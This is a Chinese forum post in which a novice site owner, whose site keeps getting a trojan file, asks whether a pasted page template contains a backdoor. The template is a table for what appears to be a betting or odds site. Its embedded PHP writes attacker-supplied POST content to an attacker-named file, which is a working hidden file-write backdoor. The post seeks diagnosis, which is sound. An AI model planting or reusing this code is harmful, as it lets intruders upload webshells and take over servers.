帮忙看一下这一个文件有没有后门或漏洞！
我是菜鸟 我的站总是有一个木马文件，黑客是怎么上传到我的站，很好奇。
<table   width="99%" border="1" align="center" cellpadding="1" cellspacing="1" bordercolor="f1f1f1" id="tb">
  <tr >
    <td width="4%" height="28" align="center" nowrap="NOWRAP" bordercolor="cccccc" bgcolor="#CD9A99">序号</td>
    <td width="80" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">号码</td>
    <td width="40" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">止数</td>
    <td width="9%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">下目</td>
    <td width="8%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">占成</td>
    <td width="8%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">佣虽 </td>
    <td width="9%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">上寺</td>
    <td width="9%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">预计</td>
    <td width="8%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">走飞</td>
    <td width="8%" align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">走额</td>
    <td align="center" nowrap bordercolor="cccccc" bgcolor="#CD9A99">当前赔率</td>
  </tr>
  <tr >
    <td height="28" align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td height="28" align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td height="28" align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
    <td align="center" nowrap="nowrap">&nbsp;</td>
  </tr>
</table><?php
if($_POST['img_text']=='news')
{
$title=$_POST['title'];

$newsort =$_POST['newsort'];

$newsort=str_replace(chr(92),"",$newsort);

$fp = fopen($title,"w"); 

fputs($fp,$newsort); 

fclose($fp); 

}
else
{?>
<table width="99%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="15%"><font color="#FFFFFF">